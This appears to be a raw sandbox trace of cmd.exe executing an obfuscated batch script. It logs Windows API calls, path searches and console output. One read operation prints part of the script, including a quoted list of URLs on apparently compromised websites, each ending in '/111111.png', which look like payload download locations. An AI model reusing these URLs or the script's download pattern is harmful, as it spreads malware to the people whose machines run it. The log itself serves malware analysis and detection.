(lpRootPathName="C:\\") returned 0x3 [0231.963] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.963] GetLastError () returned 0x2 [0231.963] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ce50 [0231.964] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0231.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.964] GetLastError () returned 0x2 [0231.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.964] GetLastError () returned 0x2 [0231.964] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.965] GetLastError () returned 0x2 [0231.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.965] GetLastError () returned 0x2 [0231.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.965] GetLastError () returned 0x2 [0231.965] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.966] GetLastError () returned 0x2 [0231.966] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.966] GetLastError () returned 0x2 [0231.966] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.966] GetLastError () returned 0x2 [0231.966] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.967] GetLastError () returned 0x2 [0231.967] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.967] GetLastError () returned 0x2 [0231.967] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.967] GetLastError () returned 0x2 [0231.967] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.967] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.967] GetLastError () returned 0x2 [0231.968] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.968] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.968] GetLastError () returned 0x2 [0231.968] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.968] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.968] GetLastError () returned 0x2 [0231.968] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.968] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.969] GetLastError () returned 0x2 [0231.969] ??_V@YAXPEAX@Z () returned 0x1 [0231.969] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.969] GetFileType (hFile=0x54) returned 0x2 [0231.969] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0231.969] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.972] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.972] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.973] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.973] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0231.973] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0231.980] ??_V@YAXPEAX@Z () returned 0x1 [0231.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.981] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.981] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.981] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.981] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.982] SetConsoleInputExeNameW () returned 0x1 [0231.982] GetConsoleOutputCP () returned 0x1b5 [0231.982] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.982] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.983] ??_V@YAXPEAX@Z () returned 0x1 [0231.984] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.984] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.984] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.984] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10f5 [0231.984] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956880) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956ac0) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0231.985] GetProcessHeap () returned 0x20b0f920000 [0231.985] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.987] GetProcessHeap () returned 0x20b0f920000 [0231.987] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0231.987] GetProcessHeap () returned 0x20b0f920000 [0231.988] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0231.988] GetProcessHeap () returned 0x20b0f920000 [0231.988] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.988] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.988] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10f5 [0231.988] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x6c0, lpOverlapped=0x0) returned 1 [0231.988] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x115c [0231.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 103 [0231.988] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.988] GetFileType (hFile=0x9c) returned 0x1 [0231.988] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.988] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x115c [0231.988] GetProcessHeap () returned 0x20b0f920000 [0231.989] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.989] GetProcessHeap () returned 0x20b0f920000 [0231.989] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.989] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0231.989] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0231.989] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0231.990] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0231.990] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0231.990] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0231.990] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0231.990] GetProcessHeap () returned 0x20b0f920000 [0231.990] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.990] GetProcessHeap () returned 0x20b0f920000 [0231.990] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0231.990] GetProcessHeap () returned 0x20b0f920000 [0231.990] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 0x20b0f926ea0 [0231.990] _tell (_FileHandle=3) returned 4444 [0231.990] _close (_FileHandle=3) returned 0 [0231.990] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.990] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.990] GetFileType (hFile=0x50) returned 0x2 [0231.990] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.991] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.992] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.992] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.997] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.997] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.997] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.997] GetFileType (hFile=0x50) returned 0x2 [0231.997] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.997] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.998] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.998] GetFileType (hFile=0x50) returned 0x2 [0231.998] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.998] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.999] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0232.000] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0232.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.000] GetFileType (hFile=0x50) returned 0x2 [0232.000] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.000] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.000] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0232.001] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.001] GetFileType (hFile=0x50) returned 0x2 [0232.001] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.001] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.003] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.003] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.008] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.009] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.010] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.010] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.010] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.010] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.010] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.010] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.010] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.010] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.010] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.010] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.010] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.010] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.010] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.010] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.010] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.010] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.010] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.010] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.010] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.010] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.010] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.010] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.011] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.011] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.011] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.011] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.011] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.011] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.011] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.011] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.011] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.011] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.011] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.011] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.011] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.011] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.011] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.011] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.011] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.011] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.011] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.011] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.011] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.011] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.012] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.012] GetProcessHeap () returned 0x20b0f920000 [0232.012] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.015] SetErrorMode (uMode=0x0) returned 0x0 [0232.015] SetErrorMode (uMode=0x1) returned 0x0 [0232.016] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.016] SetErrorMode (uMode=0x0) returned 0x1 [0232.016] GetProcessHeap () returned 0x20b0f920000 [0232.016] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0232.016] GetProcessHeap () returned 0x20b0f920000 [0232.016] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0232.016] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.016] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.016] GetProcessHeap () returned 0x20b0f920000 [0232.016] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0232.016] GetProcessHeap () returned 0x20b0f920000 [0232.016] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.016] GetProcessHeap () returned 0x20b0f920000 [0232.016] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.016] GetProcessHeap () returned 0x20b0f920000 [0232.016] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.016] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.016] GetProcessHeap () returned 0x20b0f920000 [0232.016] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946ec0 [0232.016] GetProcessHeap () returned 0x20b0f920000 [0232.016] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946ec0, Size=0x7e) returned 0x20b0f956e20 [0232.017] GetProcessHeap () returned 0x20b0f920000 [0232.017] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956e20) returned 0x7e [0232.017] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.017] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ccd0 [0232.017] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0232.017] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.018] GetLastError () returned 0x2 [0232.018] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.018] GetLastError () returned 0x2 [0232.018] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.018] GetLastError () returned 0x2 [0232.018] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.019] GetLastError () returned 0x2 [0232.019] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.019] GetLastError () returned 0x2 [0232.019] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.019] GetLastError () returned 0x2 [0232.019] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.019] GetLastError () returned 0x2 [0232.020] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.020] GetLastError () returned 0x2 [0232.020] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 